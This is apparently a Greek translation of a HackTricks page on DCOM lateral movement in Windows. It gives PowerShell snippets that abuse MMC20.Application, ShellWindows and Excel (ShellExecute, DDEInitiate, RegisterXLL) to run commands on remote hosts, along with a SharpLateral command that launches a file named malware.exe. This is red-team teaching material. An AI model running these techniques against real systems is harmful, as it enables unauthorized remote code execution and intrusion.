DCOM Exec

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Red Team του HackTricks AWS)!

Try Hard Security Group


MMC20.Application

Για περισσότερες πληροφορίες σχετικά με αυτήν την τεχνική, ελέγξτε την αρχική δημοσίευση από https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/

Τα αντικείμενα Distributed Component Object Model (DCOM) παρουσιάζουν μια ενδιαφέρουσα δυνατότητα για δικτυακές αλληλεπιδράσεις με αντικείμενα. Η Microsoft παρέχει λεπτομερή τεκμηρίωση τόσο για το DCOM όσο και για το Component Object Model (COM), προσβάσιμη εδώ για το DCOM και εδώ για το COM. Μια λίστα με εφαρμογές DCOM μπορεί να ανακτηθεί χρησιμοποιώντας την εντολή PowerShell:

Get-CimInstance Win32_DCOMApplication

Το COM object, MMC Application Class (MMC20.Application), επιτρέπει τη σεναριοποίηση των λειτουργιών του MMC snap-in. Ιδιαίτερα, αυτό το object περιέχει έναν μέθοδο ExecuteShellCommand υπό το Document.ActiveView. Περισσότερες πληροφορίες σχετικά με αυτήν τη μέθοδο μπορούν να βρεθούν εδώ. Ελέγξτε το εκτελώντας:

Αυτό το χαρακτηριστικό διευκολύνει την εκτέλεση εντολών μέσω δικτύου μέσω μιας εφαρμογής DCOM. Για να αλληλεπιδράσετε με το DCOM απομακρυσμένα ως διαχειριστής, το PowerShell μπορεί να χρησιμοποιηθεί ως εξής:

[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))

Αυτή η εντολή συνδέεται στην εφαρμογή DCOM και επιστρέφει μια παράδειγμα του αντικειμένου COM. Η μέθοδος ExecuteShellCommand μπορεί στη συνέχεια να κληθεί για να εκτελέσει ένα διεργασία στον απομακρυσμένο υπολογιστή. Η διαδικασία περιλαμβάνει τα ακόλουθα βήματα:

Έλεγχος μεθόδων:

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com.Document.ActiveView | Get-Member

Αποκτήστε ελέγχους απομακρυσμένης εκτέλεσης (RCE):

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com | Get-Member

# Then just run something like:

ls \\10.10.10.10\c$\Users

ShellWindows & ShellBrowserWindow

Για περισσότερες πληροφορίες σχετικά με αυτήν την τεχνική, ελέγξτε την αρχική δημοσίευση https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/

Αναγνωρίστηκε ότι το αντικείμενο MMC20.Application δεν έχει σαφή "LaunchPermissions," προεπιλέγοντας άδειες που επιτρέπουν πρόσβαση στους Διαχειριστές. Για περαιτέρω λεπτομέρειες, μπορεί να εξεταστεί ένα νήμα εδώ, και συνιστάται η χρήση του @tiraniddo’s OleView .NET για το φιλτράρισμα αντικειμένων χωρίς σαφείς άδειες εκκίνησης.

Δύο συγκεκριμένα αντικείμενα, ShellBrowserWindow και ShellWindows, τόνισαν λόγω έλλειψης σαφών άδειων εκκίνησης. Η απουσία εγγραφής καταχώρισης LaunchPermission κάτω από HKCR:\AppID\{guid} σημαίνει ότι δεν υπάρχουν σαφείς άδειες.

ShellWindows

Για το ShellWindows, το οποίο δεν έχει ProgID, οι μέθοδοι .NET Type.GetTypeFromCLSID και Activator.CreateInstance διευκολύνουν την αρχικοποίηση αντικειμένου χρησιμοποιώντας το AppID του. Αυτή η διαδικασία εκμεταλλεύεται το OleView .NET για την ανάκτηση του CLSID για το ShellWindows. Μόλις αρχικοποιηθεί, η αλληλεπίδραση είναι δυνατή μέσω της μεθόδου WindowsShell.Item, οδηγώντας σε κλήση μεθόδου όπως Document.Application.ShellExecute.

Παρατίθενται παραδειγματικές εντολές PowerShell για την αρχικοποίηση του αντικειμένου και την εκτέλεση εντολών απομακρυσμένα:

$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.Item()
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)

Πλευρική Κίνηση με Αντικείμενα DCOM του Excel

Η πλευρική κίνηση μπορεί να επιτευχθεί εκμεταλλευόμενη τα αντικείμενα DCOM του Excel. Για λεπτομερείς πληροφορίες, συνιστάται η ανάγνωση της συζήτησης για την εκμετάλλευση του Excel DDE για πλευρική κίνηση μέσω DCOM στο blog της Cybereason.

Το έργο Empire παρέχει ένα σενάριο PowerShell, το οποίο δείχνει τη χρήση του Excel για απομακρυσμένη εκτέλεση κώδικα (RCE) με τη χρήση της διαχείρισης αντικειμένων DCOM. Παρακάτω παρατίθενται αποσπάσματα από το σενάριο που είναι διαθέσιμο στο αποθετήριο GitHub του Empire, που δείχνουν διαφορετικές μεθόδους κατάχρησης του Excel για RCE:

# Detection of Office version
elseif ($Method -Match "DetectOffice") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$isx64 = [boolean]$obj.Application.ProductCode[21]
Write-Host  $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"})
}
# Registration of an XLL
elseif ($Method -Match "RegisterXLL") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$obj.Application.RegisterXLL("$DllPath")
}
# Execution of a command via Excel DDE
elseif ($Method -Match "ExcelDDE") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$Obj.DisplayAlerts = $false
$Obj.DDEInitiate("cmd", "/c $Command")
}

Εργαλεία Αυτοματισμού για Πλευρική Κίνηση

Δύο εργαλεία τονίζονται για την αυτοματοποίηση αυτών των τεχνικών:

  • Invoke-DCOM.ps1: Ένα σενάριο PowerShell που παρέχεται από το έργο Empire και απλοποιεί την εκκίνηση διαφόρων μεθόδων για την εκτέλεση κώδικα σε απομακρυσμένους υπολογιστές. Αυτό το σενάριο είναι προσβάσιμο στο αποθετήριο του Empire στο GitHub.

  • SharpLateral: Ένα εργαλείο σχεδιασμένο για την εκτέλεση κώδικα απομακρυσμένα, το οποίο μπορεί να χρησιμοποιηθεί με την εντολή:

SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe

Αυτόματα Εργαλεία

  • Το Powershell script Invoke-DCOM.ps1 επιτρέπει την εύκολη εκτέλεση όλων των σχολιασμένων τρόπων για την εκτέλεση κώδικα σε άλλα μηχανήματα.

  • Μπορείτε επίσης να χρησιμοποιήσετε το SharpLateral:

SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe

Αναφορές

Ομάδα Ασφάλειας Try Hard

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Last updated